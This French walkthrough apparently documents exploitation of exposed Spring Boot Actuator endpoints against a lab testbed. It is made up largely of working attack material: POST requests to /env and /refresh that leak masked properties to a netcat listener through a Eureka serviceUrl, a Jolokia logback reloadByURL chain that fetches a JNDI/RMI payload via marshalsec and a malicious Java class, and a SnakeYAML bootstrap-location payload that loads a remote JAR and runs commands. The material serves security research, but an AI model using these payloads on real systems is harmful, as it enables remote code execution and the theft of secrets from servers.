
SpringBoot_Actuator_RCE
/swagger-ui.html
Lorsque nous accédons directement au site SpringBoot, nous pouvons voir que certains champs password sont remplis de *.
${name}, il est possible de récupérer les champs en clair.password est masqué par des astérisques, mais pas pwd).

Référence : https://mp.weixin.qq.com/s/HmGEYRcf1hSVw9Uu9XHGsA
Processus de mise en œuvre :
Par exemple : nous voulons récupérer la valeur du paramètre pid.
"PID": "10648",
POST /env HTTP/1.1
Host: 10.20.24.191:8090
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 76
eureka.client.serviceUrl.defaultZone=http://${PID}@10.20.24.191:2444/
Envoyez ensuite une requête POST avec un contenu quelconque vers /refresh pour déclencher la vulnérabilité.
Ps : En général, il faut attendre environ 3 secondes pour recevoir un paquet de réponse. Si la réponse est immédiate, le service manque probablement de l'extension spring-boot-starter-actuator et ne peut pas se rafraîchir, la vulnérabilité n'est donc pas exploitable.
POST /refresh HTTP/1.1
Host: 10.20.24.191:8090
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 5
12312
Lorsque le serveur écoute sur le port 2444 avec nc, on reçoit :
root@kali:/tmp# nc -lvvp 2444
listening on [any] 2444 ...
connect to [10.20.24.191] from kali [10.20.24.191] 40960
GET /xstream/apps/ HTTP/1.1
Accept: application/json
DiscoveryIdentity-Name: DefaultClient
DiscoveryIdentity-Version: 1.4
DiscoveryIdentity-Id: 10.20.24.191
Accept-Encoding: gzip
Host: 10.20.24.191:2444
Connection: Keep-Alive
User-Agent: Java-EurekaClient/v1.4.11
Authorization: Basic MzgzNDY6bnVsbA==
Authorization: Basic MzgzNDY6bnVsbA==
Le décodage base64 donne :
root@kali:/tmp# echo MzgzNDY6bnVsbA== |base64 -d
38346:null
Identique à l'information pid ci-dessus.
De même, pour récupérer le paramètre user.country, les étapes sont identiques.
Résultat :
root@kali:/tmp# nc -lvvp 2555
listening on [any] 2555 ...
connect to [10.20.24.191] from kali [10.20.24.191] 38994
GET /xstream/apps/ HTTP/1.1
Accept: application/json
DiscoveryIdentity-Name: DefaultClient
DiscoveryIdentity-Version: 1.4
DiscoveryIdentity-Id: 10.20.24.191
Accept-Encoding: gzip
Host: 10.20.24.191:2555
Connection: Keep-Alive
User-Agent: Java-EurekaClient/v1.4.11
Authorization: Basic VVM6bnVsbA==
sent 0, rcvd 310
Le décodage base64 donne :
root@kali:/tmp# echo VVM6bnVsbA== |base64 -d
US:null
Saisissez le paramètre à interroger et le port d'écoute de nc.

Écoutez sur le port, récupérez l'en-tête spécifié et décodez automatiquement en base64.

Ps : Si vous avez la chance que la cible dispose d'Eureka-Client <1.8.7 dans son classpath (généralement inclus dans Spring Cloud Netflix), vous pouvez exploiter la vulnérabilité de désérialisation XStream qu'il contient.
Par exemple : User-Agent: Java-EurekaClient/v1.4.11
git clone https://github.com/veracode-research/actuator-testbed
Démarrage :
mvn install
或
mvn spring-boot:run
Après compilation et exécution, on constate que l'adresse IP d'écoute est 127.0.0.1, accessible uniquement depuis la machine locale.
Après une recherche sur Baidu, il suffit de la remplacer par 0.0.0.0.
Recherche des fichiers clés :
grep -r 'server.address' -n ./
./src/main/resources/application.properties:2:server.address=127.0.0.1
./target/classes/application.properties:2:server.address=127.0.0.1
Remplacer par :
server.port=8090
server.address=0.0.0.0
# vulnerable configuration set 0: spring boot 1.0 - 1.4
# all spring boot versions 1.0 - 1.4 expose actuators by default without any parameters
# no configuration required to expose them
# safe configuration set 0: spring boot 1.0 - 1.4
#management.security.enabled=true
# vulnerable configuration set 1: spring boot 1.5+
# spring boot 1.5+ requires management.security.enabled=false to expose sensitive actuators
#management.security.enabled=false
# safe configuration set 1: spring boot 1.5+
# when 'management.security.enabled=false' but all sensitive actuators explicitly disabled
#management.security.enabled=false
# vulnerable configuration set 2: spring boot 2+
#management.endpoints.web.exposure.include=*
mvn spring-boot:run
ou
/opt/jdk1.8.0_60//bin/java -classpath /opt/apache-maven-3.6.2/boot/plexus-classworlds-2.6.0.jar -Dclassworlds.conf=/opt/apache-maven-3.6.2/bin/m2.conf -Dmaven.home=/opt/apache-maven-3.6.2 -Dlibrary.jansi.path=/opt/apache-maven-3.6.2/lib/jansi-native -Dmaven.multiModuleProjectDirectory=/root/actuator/actuator-testbed org.codehaus.plexus.classworlds.launcher.Launcher spring-boot:run
Patientez quelques instants :
root@kali:~/actuator/actuator-testbed# netstat -ntpl |grep 8090
tcp6 0 0 :::8090 :::* LISTEN 33666/java
root@kali:~/actuator/actuator-testbed#
http://10.20.24.191:8090/jolokia/list

Parmi celles-ci, reloadByURL permet de charger un fichier XML depuis une URL distante.
"ch.qos.logback.classic": {
"Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator": {
"op": {
"reloadByURL": {
"args": [
{
"name": "p1",
"type": "java.net.URL",
"desc": ""
}
],
"ret": "void",
"desc": "Operation exposed for management"
}
Contenu du fichier logback.xml :

<configuration>
<insertFromJNDI env-entry-name="rmi://10.20.24.191:1099/Exploit" as="appName" />
</configuration>
ExportObject.java
import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;
public class ExportObject {
public ExportObject() throws Exception {
Process var1 = Runtime.getRuntime().exec("touch /tmp/jas502n");
InputStream var2 = var1.getInputStream();
BufferedReader var3 = new BufferedReader(new InputStreamReader(var2));
String var4;
while((var4 = var3.readLine()) != null) {
System.out.println(var4);
}
var1.waitFor();
var2.close();
var3.close();
var1.destroy();
}
public static void main(String[] var0) throws Exception {
}
}
Écoute du port RMI :
root@kali:~/ldap_rmi# cat rmi.sh
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://10.20.24.191:8000/#ExportObject
root@kali:~/ldap_rmi# ./rmi.sh
* Opening JRMP listener on 1099
Have connection from /10.20.24.191:43878
Reading message...
Is RMI.lookup call for ExportObject 2
Sending remote classloading stub targeting http://10.20.24.191:8000/ExportObject.class
Closing connection
Le navigateur accède au fichier logback.xml distant pour le charger et l'analyser.
Le serveur accède à l'adresse JNDI malveillante, ce qui entraîne l'exécution du bytecode malveillant.
http://10.20.24.191:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/10.20.24.191:8000!/logback.xml


root@kali:/var/www/html# ls /tmp/j*
/tmp/jas502n
root@kali:/var/www/html#
La méthode consistant à modifier la propriété spring.cloud.bootstrap.location de l'environnement Spring pour réaliser un RCE est plus fiable.
Cette propriété sert à charger une configuration externe et à l'analyser au format YAML.
Pour y parvenir, il faut également envoyer une requête POST avec un contenu quelconque vers /refresh pour déclencher la vulnérabilité.
!!javax.script.ScriptEngineManager [
!!java.net.URLClassLoader [[
!!java.net.URL ["http://10.20.24.191:8000/yaml_payload.jar"]
]]
]
Code : https://github.com/artsploit/yaml-payload

Extrait du code de AwesomeScriptEngineFactory.java :
import javax.script.ScriptEngine;
import javax.script.ScriptEngineFactory;
import java.io.IOException;
import java.util.List;
public class AwesomeScriptEngineFactory implements ScriptEngineFactory {
public AwesomeScriptEngineFactory() {
try {
Runtime.getRuntime().exec("touch /tmp/success");
} catch (IOException e) {
e.printStackTrace();
}
}
ymal_payload.jar\artsploit\AwesomeScriptEngineFactory.java
Il contient le bytecode réel et embarque une charge utile malveillante dans son constructeur.
ymal_payload.jar\services\javax.script.ScriptEngineFactory
n'est qu'un fichier texte contenant une référence complète à artsploit.AwesomeScriptEngineFactory,
afin que ServiceLoader sache où trouver la classe.
Contenu : artsploit.AwesomeScriptEngineFactory
Placez le fichier JAR sur un serveur HTTP.
http://10.20.24.191:8090/ymal_payload.jar
spring.cloud.bootstrap.location=http://10.20.24.191:8090/yaml_payload.yml

POST /env HTTP/1.1
Host: 10.20.24.191:8090
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
X-Forwarded-For: 127.0.0.1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 73
spring.cloud.bootstrap.location=http://10.20.24.191:8000/yaml_payload.yml

POST /refresh HTTP/1.1
Host: 10.20.24.191:8090
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
X-Forwarded-For: 127.0.0.1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 5
12312

root@kali:/var/www/html# ls /tmp/succ*
/tmp/success
root@kali:/var/www/html#
Ps : Contrairement à la charge utile XStream d'Eureka, la méthode YAML fonctionne même sur les versions les plus récentes.
https://www.veracode.com/blog/research/exploiting-spring-boot-actuators